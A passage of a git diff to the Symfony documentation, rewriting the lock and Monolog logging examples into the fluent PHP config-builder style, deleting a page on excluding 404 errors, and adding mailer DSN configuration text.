-            'lock' => ['redis://r1.docker', 'redis://r2.docker'],
-            'lock' => 'zookeeper://z1.docker',
-            'lock' => 'zookeeper://z1.docker,z2.docker',
-            'lock' => 'sqlite:///%kernel.project_dir%/var/lock.db',
-            'lock' => 'mysql:host=127.0.0.1;dbname=app',
-            'lock' => 'pgsql:host=127.0.0.1;dbname=app',
-            'lock' => 'pgsql+advisory:host=127.0.0.1;dbname=lock',
-            'lock' => 'sqlsrv:server=127.0.0.1;Database=app',
-            'lock' => 'oci:host=127.0.0.1;dbname=app',
-            'lock' => 'mongodb://127.0.0.1/app?collection=lock',
-            'lock' => '%env(LOCK_DSN)%',
-
-            // named locks
-            'lock' => [
-                'invoice' => ['semaphore', 'redis://r2.docker'],
-                'report' => 'semaphore',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('default', ['flock'])
+                ->resource('default', ['flock:///path/to/file'])
+                ->resource('default', ['semaphore'])
+                ->resource('default', ['memcached://m1.docker'])
+                ->resource('default', ['memcached://m1.docker', 'memcached://m2.docker'])
+                ->resource('default', ['redis://r1.docker'])
+                ->resource('default', ['redis://r1.docker', 'redis://r2.docker'])
+                ->resource('default', ['zookeeper://z1.docker'])
+                ->resource('default', ['zookeeper://z1.docker,z2.docker'])
+                ->resource('default', ['sqlite:///%kernel.project_dir%/var/lock.db'])
+                ->resource('default', ['mysql:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['pgsql:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['pgsql+advisory:host=127.0.0.1;dbname=lock'])
+                ->resource('default', ['sqlsrv:server=127.0.0.1;Database=app'])
+                ->resource('default', ['oci:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['mongodb://127.0.0.1/app?collection=lock'])
+                ->resource('default', ['%env(LOCK_DSN)%'])
+
+                // named locks
+                ->resource('invoice', ['semaphore', 'redis://r2.docker'])
+                ->resource('report', ['semaphore'])
+            ;
+        };
 
 Locking a Resource
 ------------------
@@ -198,8 +199,8 @@ Locking a Dynamic Resource
 --------------------------
 
 Sometimes the application is able to cut the resource into small pieces in order
-to lock a small subset of process and let other through. In our previous example
-with see how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
+to lock a small subset of process and let other through. The previous example
+showed how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
 now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for
 processes asking for the same ``$version``::
 
@@ -228,11 +229,13 @@ processes asking for the same ``$version``::
         }
     }
 
+.. _lock-named-locks:
+
 Named Lock
 ----------
 
 If the application needs different kind of Stores alongside each other, Symfony
-provides :ref:`named lock <reference-lock-resources-name>`::
+provides :ref:`named lock <reference-lock-resources-name>`:
 
 .. configuration-block::
 
@@ -267,12 +270,15 @@ provides :ref:`named lock <reference-lock-resources-name>`::
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => [
-                'invoice' => ['semaphore', 'redis://r2.docker'],
-                'report' => 'semaphore',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('invoice', ['semaphore', 'redis://r2.docker'])
+                ->resource('report', ['semaphore']);
+            ;
+        };
+
 
 Each name becomes a service where the service id is part of the name of the
 lock (e.g. ``lock.invoice.factory``). An autowiring alias is also created for
@@ -292,4 +298,4 @@ you can do it by :doc:`decorating the store </service_container/service_decorati
     lock.default.retry_till_save.store:
         class: Symfony\Component\Lock\Store\RetryTillSaveStore
         decorates: lock.default.store
-        arguments: ['@lock.default.retry_till_save.store.inner', 100, 50]
+        arguments: ['@.inner', 100, 50]
diff --git a/logging.rst b/logging.rst
index 4cfb46581ad..25328e5e945 100644
--- a/logging.rst
+++ b/logging.rst
@@ -23,7 +23,7 @@ To do so, :ref:`override the "logger" service definition <service-psr4-loader>`.
 Logging a Message
 -----------------
 
-To log a message, inject the default logger in your controller::
+To log a message, inject the default logger in your controller or service::
 
     use Psr\Log\LoggerInterface;
 
@@ -64,13 +64,15 @@ The following sections assume that Monolog is installed.
 Where Logs are Stored
 ---------------------
 
-By default, log entries are written to the ``var/log/dev.log`` file when you're in
-the ``dev`` environment. In the ``prod`` environment, logs are written to ``var/log/prod.log``,
-but *only* during a request where an error or high-priority log entry was made
-(i.e. ``error()`` , ``critical()``, ``alert()`` or ``emergency()``).
+By default, log entries are written to the ``var/log/dev.log`` file when you're
+in the ``dev`` environment.
 
-To control this, you'll configure different *handlers* that handle log entries, sometimes
-modify them, and ultimately store them.
+In the ``prod`` environment, logs are written to `STDERR PHP stream`_, which
+works best in modern containerized applications deployed to servers without
+disk write permissions.
+
+If you prefer to store production logs in a file, set the ``path`` of your
+log handler(s) to the path of the file to use (e.g. ``var/log/prod.log``).
 
 Handlers: Writing Logs to different Locations
 ---------------------------------------------
@@ -138,27 +140,35 @@ to write logs using the :phpfunction:`syslog` function:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                // this "file_log" key could be anything
-                'file_log' => [
-                    'type'  => 'stream',
-                    // log to var/logs/(environment).log
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    // log *all* messages (debug is lowest level)
-                    'level' => 'debug',
-                ],
-                'syslog_handler' => [
-                    'type'  => 'syslog',
-                    // log error-level messages and higher
-                    'level' => 'error',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            // this "file_log" key could be anything
+            $monolog->handler('file_log')
+                ->type('stream')
+                // log to var/logs/(environment).log
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                // log *all* messages (debug is lowest level)
+                ->level('debug');
+
+            $monolog->handler('syslog_handler')
+                ->type('syslog')
+                // log error-level messages and higher
+                ->level('error');
+        };
 
 This defines a *stack* of handlers and each handler is called in the order that it's
 defined.
 
+.. note::
+
+    If you want to override the ``monolog`` configuration via another config
+    file, you will need to redefine the entire ``handlers`` stack. The configuration
+    from the two files cannot be merged because the order matters and a merge does
+    not allow to control the order.
+
+.. _logging-handler-fingers_crossed:
+
 Handlers that Modify Log Entries
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -229,29 +239,29 @@ one of the messages reaches an ``action_level``. Take this example:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'filter_for_errors' => [
-                    'type'         => 'fingers_crossed',
-                    // if *one* log is error or higher, pass *all* to file_log
-                    'action_level' => 'error',
-                    'handler'      => 'file_log',
-                ],
-
-                // now passed *all* logs, but only if one log is error or higher
-                'file_log' => [
-                    'type'  => 'stream',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                ],
-
-                // still passed *all* logs, and still only logs error or higher
-                'syslog_handler' => [
-                    'type'  => 'syslog',
-                    'level' => 'error',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('filter_for_errors')
+                ->type('fingers_crossed')
+                // if *one* log is error or higher, pass *all* to file_log
+                ->actionLevel('error')
+                ->handler('file_log')
+            ;
+
+            // now passed *all* logs, but only if one log is error or higher
+            $monolog->handler('file_log')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+            ;
+
+            // still passed *all* logs, and still only logs error or higher
+            $monolog->handler('syslog_handler')
+                ->type('syslog')
+                ->level('error')
+            ;
+        };
 
 Now, if even one log entry has an ``error`` level or higher, then *all* log entries
 for that request are saved to a file via the ``file_log`` handler. That means that
@@ -263,13 +273,6 @@ debugging much easier!
     The handler named "file_log" will not be included in the stack itself as
     it is used as a nested handler of the ``fingers_crossed`` handler.
 
-.. note::
-
-    If you want to override the ``monolog`` configuration via another config
-    file, you will need to redefine the entire ``handlers`` stack. The configuration
-    from the two files cannot be merged because the order matters and a merge does
-    not allow to control the order.
-
 All Built-in Handlers
 ---------------------
 
@@ -331,18 +334,17 @@ option of your handler to ``rotating_file``:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'  => 'rotating_file',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                    // max number of log files to keep
-                    // defaults to zero, which means infinite files
-                    'max_files' => 10,
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('rotating_file')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+                // max number of log files to keep
+                // defaults to zero, which means infinite files
+                ->maxFiles(10);
+        };
 
 Using a Logger inside a Service
 -------------------------------
@@ -379,15 +381,11 @@ Learn more
     logging/monolog_exclude_http_codes
     logging/monolog_console
 
-.. toctree::
-    :hidden:
-
-    logging/monolog_regex_based_excludes
-
 .. _`the twelve-factor app methodology`: https://12factor.net/logs
-.. _PSR-3: https://www.php-fig.org/psr/psr-3/
+.. _`PSR-3`: https://www.php-fig.org/psr/psr-3/
 .. _`stderr`: https://en.wikipedia.org/wiki/Standard_streams#Standard_error_(stderr)
-.. _Monolog: https://github.com/Seldaek/monolog
-.. _LoggerInterface: https://github.com/php-fig/log/blob/master/Psr/Log/LoggerInterface.php
+.. _`Monolog`: https://github.com/Seldaek/monolog
+.. _`LoggerInterface`: https://github.com/php-fig/log/blob/master/src/LoggerInterface.php
 .. _`logrotate`: https://github.com/logrotate/logrotate
 .. _`Monolog Configuration`: https://github.com/symfony/monolog-bundle/blob/master/DependencyInjection/Configuration.php#L25
+.. _`STDERR PHP stream`: https://www.php.net/manual/en/features.commandline.io-streams.php
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 8f6e9aed98a..ae0567fd551 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -78,23 +78,19 @@ can do it in any (or all) environments:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'security' => [
-                    'type'     => 'stream',
-                    'path'     => '%kernel.logs_dir%/security.log',
-                    'channels' => [
-                        'security',
-                    ],
-                ],
-                'main'     => [
-                    // ...
-                    'channels' => [
-                        '!security',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('security')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/security.log')
+                ->channels()->elements(['security']);
+
+            $monolog->handler('main')
+                 // ...
+
+                ->channels()->elements(['!security']);
+        };
 
 .. caution::
 
@@ -163,12 +159,11 @@ You can also configure additional channels without the need to tag your services
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'channels' => [
-                'foo',
-                'bar',
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->channels(['foo', 'bar']);
+        };
 
 Symfony automatically registers one service per channel (in this example, the
 channel ``foo`` creates a service called ``monolog.logger.foo``). In order to
@@ -182,18 +177,18 @@ How to Autowire Logger Channels
 
 Starting from `MonologBundle`_ 3.5 you can autowire different Monolog channels
 by type-hinting your service arguments with the following syntax:
-``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been
-:ref:`predefined in your Monolog configuration <monolog-channels-config>`.
+``Psr\Log\LoggerInterface $<camelCased channel name> + Logger``. The ``<channel>``
+must have been :ref:`predefined in your Monolog configuration <monolog-channels-config>`.
 
-For example to inject the service related to the ``app`` logger channel,
+For example to inject the service related to the ``foo_bar`` logger channel,
 change your constructor like this:
 
 .. code-block:: diff
 
     -     public function __construct(LoggerInterface $logger)
-    +     public function __construct(LoggerInterface $appLogger)
+    +     public function __construct(LoggerInterface $fooBarLogger)
         {
-            $this->logger = $appLogger;
+            $this->logger = $fooBarLogger;
         }
 
 .. _`MonologBundle`: https://github.com/symfony/monolog-bundle
diff --git a/logging/formatter.rst b/logging/formatter.rst
index b41cd7ad06e..737b0b86a5f 100644
--- a/logging/formatter.rst
+++ b/logging/formatter.rst
@@ -23,7 +23,7 @@ configure your handler to use it:
 
     .. code-block:: xml
 
-        <!-- config/services.xml -->
+        <!-- config/packages/prod/monolog.xml (and/or config/packages/dev/monolog.xml) -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -33,7 +33,6 @@ configure your handler to use it:
                 http://symfony.com/schema/dic/monolog
                 https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
 
-            <!-- config/packages/prod/monolog.xml (and/or config/packages/dev/monolog.xml) -->
             <monolog:config>
                 <monolog:handler
                     name="file"
@@ -46,16 +45,13 @@ configure your handler to use it:
 
     .. code-block:: php
 
-        // config/services.php
-        use Monolog\Formatter\JsonFormatter;
-
         // config/packages/prod/monolog.php (and/or config/packages/dev/monolog.php)
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'file' => [
-                    'type'      => 'stream',
-                    'level'     => 'debug',
-                    'formatter' => 'monolog.formatter.json',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('file')
+                ->type('stream')
+                ->level('debug')
+                ->formatter('monolog.formatter.json')
+            ;
+        };
diff --git a/logging/handlers.rst b/logging/handlers.rst
index 9f5b903cfa9..4e37e01f622 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -88,14 +88,13 @@ Then reference it in the Monolog configuration:
 
         // config/packages/prod/monolog.php
         use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
-
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'es' => [
-                    'type' => 'service',
-                    'id' => ElasticsearchLogstashHandler::class,
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('es')
+                ->type('service')
+                ->id(ElasticsearchLogstashHandler::class)
+            ;
+        };
 
 .. _`ELK stack`: https://www.elastic.co/what-is/elk-stack
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 5c0263c5349..b0f2a1b252f 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -42,7 +42,6 @@ The example above could then be rewritten as::
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
-    // ...
 
     class YourCommand extends Command
     {
@@ -56,7 +55,6 @@ The example above could then be rewritten as::
         protected function execute(InputInterface $input, OutputInterface $output)
         {
             $this->logger->debug('Some info');
-            // ...
             $this->logger->notice('Some more info');
         }
     }
@@ -67,6 +65,16 @@ the console. If they are displayed, they are timestamped and colored appropriate
 Additionally, error logs are written to the error output (``php://stderr``).
 There is no need to conditionally handle the verbosity settings anymore.
 
+===============  =======================================  ============
+LoggerInterface  Verbosity                                Command line
+===============  =======================================  ============
+->error()        OutputInterface::VERBOSITY_QUIET         stderr
+->warning()      OutputInterface::VERBOSITY_NORMAL        stdout
+->notice()       OutputInterface::VERBOSITY_VERBOSE       -v
+->info()         OutputInterface::VERBOSITY_VERY_VERBOSE  -vv
+->debug()        OutputInterface::VERBOSITY_DEBUG         -vvv
+===============  =======================================  ============
+
 The Monolog console handler is enabled by default:
 
 .. configuration-block::
@@ -112,15 +120,15 @@ The Monolog console handler is enabled by default:
     .. code-block:: php
 
         // config/packages/dev/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'console' => [
-                   'type' => 'console',
-                   'process_psr_3_messages' => false,
-                   'channels' => ['!event', '!doctrine', '!console'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('console')
+                ->type('console')
+                ->processPsr3Messages(false)
+                ->channels()->elements(['!event', '!doctrine', '!console'])
+            ;
+        };
 
 Now, log messages will be shown on the console based on the log levels and verbosity.
 By default (normal verbosity level), warnings and higher will be shown. But in
diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 22ed4d08928..0a3c85cc5bd 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -28,8 +28,7 @@ it is broken down.
                     action_level: critical
                     # to also log 400 level errors (but not 404's):
                     # action_level: error
-                    # excluded_404s:
-                    #     - ^/
+                    # excluded_http_codes: [404]
                     handler:      deduplicated
                 deduplicated:
                     type:    deduplication
@@ -62,7 +61,7 @@ it is broken down.
                 to also log 400 level errors (but not 404's):
                 action-level="error"
                 And add this child inside this monolog:handler
-                <monolog:excluded-404>^/</monolog:excluded-404>
+                <monolog:excluded-http-code code="404"/>
                 -->
                 <monolog:handler
                     name="main"
@@ -99,36 +98,37 @@ it is broken down.
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'         => 'fingers_crossed',
-                    // 500 errors are logged at the critical level
-                    'action_level' => 'critical',
-                    // to also log 400 level errors (but not 404's):
-                    // 'action_level' => 'error',
-                    // 'excluded_404s' => [
-                    //     '^/',
-                    // ],
-                    'handler'      => 'deduplicated',
-                ],
-                'deduplicated' => [
-                    'type'    => 'deduplication',
-                    'handler' => 'symfony_mailer',
-                ],
-                'symfony_mailer' => [
-                    'type'         => 'symfony_mailer',
-                    'from_email'   => 'error@example.com',
-                    'to_email'     => 'error@example.com',
-                    // or a list of recipients
-                    // 'to_email'   => ['dev1@example.com', 'dev2@example.com', ...],
-                    'subject'      => 'An Error Occurred! %%message%%',
-                    'level'        => 'debug',
-                    'formatter'    => 'monolog.formatter.html',
-                    'content_type' => 'text/html',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $mainHandler = $monolog->handler('main')
+                ->type('fingers_crossed')
+                // 500 errors are logged at the critical level
+                ->actionLevel('critical')
+                // to also log 400 level errors:
+                // ->actionLevel('error')
+                ->handler('deduplicated')
+            ;
+
+            // add this to exclude 404 errors
+            // $mainHandler->excludedHttpCode()->code(404);
+
+            $monolog->handler('deduplicated')
+                ->type('deduplication')
+                ->handler('symfony_mailer');
+
+            $monolog->handler('symfony_mailer')
+                ->type('symfony_mailer')
+                ->fromEmail('error@example.com')
+                ->toEmail(['error@example.com'])
+                // or a list of recipients
+                // ->toEmail(['dev1@example.com', 'dev2@example.com', ...])
+                ->subject('An Error Occurred! %%message%%')
+                ->level('debug')
+                ->formatter('monolog.formatter.html')
+                ->contentType('text/html')
+            ;
+        };
 
 The ``main`` handler is a ``fingers_crossed`` handler which means that
 it is only triggered when the action level, in this case ``critical`` is reached.
@@ -177,17 +177,18 @@ You can adjust the time period using the ``time`` option:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                // ...
-                'deduplicated' => [
-                    'type'    => 'deduplication',
-                    // the time in seconds during which duplicate entries are discarded (default: 60)
-                    'time' => 10,
-                    'handler' => 'symfony_mailer',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            // ...
+
+            $monolog->handler('deduplicated')
+                ->type('deduplicated')
+                // the time in seconds during which duplicate entries are discarded (default: 60)
+                ->time(10)
+                ->handler('symfony_mailer')
+            ;
+        };
 
 The messages are then passed to the ``symfony_mailer`` handler. This is the handler that
 actually deals with emailing you the error. The settings for this are
@@ -285,39 +286,43 @@ get logged on the server as well as the emails being sent:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'         => 'fingers_crossed',
-                    'action_level' => 'critical',
-                    'handler'      => 'grouped',
-                ],
-                'grouped' => [
-                    'type'    => 'group',
-                    'members' => ['streamed', 'deduplicated'],
-                ],
-                'streamed'  => [
-                    'type'  => 'stream',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                ],
-                'deduplicated' => [
-                    'type'     => 'deduplication',
-                    'handler'  => 'symfony_mailer',
-                ],
-                'symfony_mailer' => [
-                    'type'         => 'symfony_mailer',
-                    'from_email'   => 'error@example.com',
-                    'to_email'     => 'error@example.com',
-                    // or a list of recipients
-                    // 'to_email'   => ['dev1@example.com', 'dev2@example.com', ...],
-                    'subject'      => 'An Error Occurred! %%message%%',
-                    'level'        => 'debug',
-                    'formatter'    => 'monolog.formatter.html',
-                    'content_type' => 'text/html',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('fingers_crossed')
+                ->actionLevel('critical')
+                ->handler('grouped')
+            ;
+
+            $monolog->handler('group')
+                ->members(['streamed', 'deduplicated'])
+            ;
+
+            $monolog->handler('streamed')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+            ;
+
+            $monolog->handler('deduplicated')
+                ->type('deduplicated')
+                ->handler('symfony_mailer')
+            ;
+
+            // still passed *all* logs, and still only logs error or higher
+            $monolog->handler('symfony_mailer')
+                ->type('symfony_mailer')
+                ->fromEmail('error@example.com')
+                ->toEmail(['error@example.com'])
+                // or a list of recipients
+                // ->toEmail(['dev1@example.com', 'dev2@example.com', ...])
+                ->subject('An Error Occurred! %%message%%')
+                ->level('debug')
+                ->formatter('monolog.formatter.html')
+                ->contentType('text/html')
+            ;
+        };
 
 This uses the ``group`` handler to send the messages to the two
 group members, the ``deduplicated`` and the ``stream`` handlers. The messages will
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index 9c1bd81bdcc..a064370d0c5 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -49,16 +49,18 @@ logging these HTTP codes based on the MonologBundle configuration:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    // ...
-                    'type'                => 'fingers_crossed',
-                    'handler'             => ...,
-                    'excluded_http_codes' => [403, 404],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $mainHandler = $monolog->handler('main')
+                // ...
+                ->type('fingers_crossed')
+                ->handler(...)
+            ;
+
+            $mainHandler->excludedHttpCode()->code(403);
+            $mainHandler->excludedHttpCode()->code(404);
+        };
 
 .. caution::
 
diff --git a/logging/monolog_regex_based_excludes.rst b/logging/monolog_regex_based_excludes.rst
deleted file mode 100644
index be4a6ee8b7e..00000000000
--- a/logging/monolog_regex_based_excludes.rst
+++ /dev/null
@@ -1,78 +0,0 @@
-.. index::
-   single: Logging
-   single: Logging; Exclude 404 Errors
-   single: Monolog; Exclude 404 Errors
-
-How to Configure Monolog to Exclude 404 Errors from the Log
-===========================================================
-
-.. tip::
-
-    Read :doc:`/logging/monolog_exclude_http_codes` to learn about a similar
-    but more generic feature that allows to exclude logs for any HTTP status
-    code and not only 404 errors.
-
-Sometimes your logs become flooded with unwanted 404 HTTP errors, for example,
-when an attacker scans your app for some well-known application paths (e.g.
-`/phpmyadmin`). When using a ``fingers_crossed`` handler, you can exclude
-logging these 404 errors based on a regular expression in the MonologBundle
-configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/prod/monolog.yaml
-        monolog:
-            handlers:
-                main:
-                    # ...
-                    type: fingers_crossed
-                    handler: ...
-                    excluded_404s:
-                        - ^/phpmyadmin
-
-    .. code-block:: xml
-
-        <!-- config/packages/prod/monolog.xml -->
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:monolog="http://symfony.com/schema/dic/monolog"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/monolog
-                https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
-
-            <monolog:config>
-                <monolog:handler type="fingers_crossed" name="main" handler="...">
-                    <!-- ... -->
-                    <monolog:excluded-404>^/phpmyadmin</monolog:excluded-404>
-                </monolog:handler>
-            </monolog:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    // ...
-                    'type'          => 'fingers_crossed',
-                    'handler'       => ...,
-                    'excluded_404s' => [
-                        '^/phpmyadmin',
-                    ],
-                ],
-            ],
-        ]);
-
-
-.. caution::
-
-    Combining ``excluded_404s`` with a ``passthru_level`` lower than
-    ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not
-    actually exclude log messages for the URL(s) listed in ``excluded_404s``
-    because they are logged with level of ``error`` or higher and
-    ``passthru_level`` takes precedence over the URLs being listed in
-    ``excluded_404s``.
diff --git a/logging/processors.rst b/logging/processors.rst
index 605c571b244..fbc7d14c151 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -19,30 +19,33 @@ using a processor::
     // src/Logger/SessionRequestProcessor.php
     namespace App\Logger;
 
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException;
+    use Symfony\Component\HttpFoundation\RequestStack;
 
     class SessionRequestProcessor
     {
-        private $session;
-        private $sessionId;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         // this method is called for each log record; optimize it to not hurt performance
         public function __invoke(array $record)
         {
-            if (!$this->session->isStarted()) {
+            try {
+                $session = $this->requestStack->getSession();
+            } catch (SessionNotFoundException $e) {
+                return;
+            }
+            if (!$session->isStarted()) {
                 return $record;
             }
 
-            if (!$this->sessionId) {
-                $this->sessionId = substr($this->session->getId(), 0, 8) ?: '????????';
-            }
+            $sessionId = substr($session->getId(), 0, 8) ?: '????????';
 
-            $record['extra']['token'] = $this->sessionId.'-'.substr(uniqid('', true), -8);
+            $record['extra']['token'] = $sessionId.'-'.substr(uniqid('', true), -8);
 
             return $record;
         }
@@ -103,7 +106,7 @@ information:
 
         $container
             ->register(SessionRequestProcessor::class)
-            ->addTag('monolog.processor', ['method' => 'processRecord']);
+            ->addTag('monolog.processor');
 
 Finally, set the formatter to be used on whatever handler you want:
 
@@ -146,16 +149,16 @@ Finally, set the formatter to be used on whatever handler you want:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'      => 'stream',
-                    'path'      => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level'     => 'debug',
-                    'formatter' => 'monolog.formatter.session_request',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+                ->formatter('monolog.formatter.session_request')
+            ;
+        };
 
 If you use several handlers, you can also register a processor at the
 handler level or at the channel level instead of registering it globally
diff --git a/mailer.rst b/mailer.rst
index 352e3613fea..421e14ee054 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -27,15 +27,78 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     # .env
     MAILER_DSN=smtp://user:pass@smtp.example.com:port
 
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dsn: '%env(MAILER_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:mailer dsn="%env(MAILER_DSN)%"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        return static function (ContainerConfigurator $containerConfigurator): void {
+            $containerConfigurator->extension('framework', [
+                'mailer' => [
+                    'dsn' => '%env(MAILER_DSN)%',
+                ],
+            ]);
+        };
+
+.. caution::
+
+    If the username, password or host contain any character considered special in a
+    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
+    :phpfunction:`urlencode` function to encode them.
+
 .. caution::
 
     If you are migrating from Swiftmailer (and the Swiftmailer bundle), be
     warned that the DSN format is different.
 
+Using Built-in Transports
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The native protocol was introduced in Symfony 5.2.
+
+============  ========================================  ==============================================================
+DSN protocol  Example                                   Description
+============  ========================================  ==============================================================
+smtp          ``smtp://user:pass@smtp.example.com:25``  Mailer uses an SMTP server to send emails
+sendmail      ``sendmail://default``                    Mailer uses the local sendmail binary to send emails
+native        ``native://default``                      Mailer uses the sendmail binary and options configured
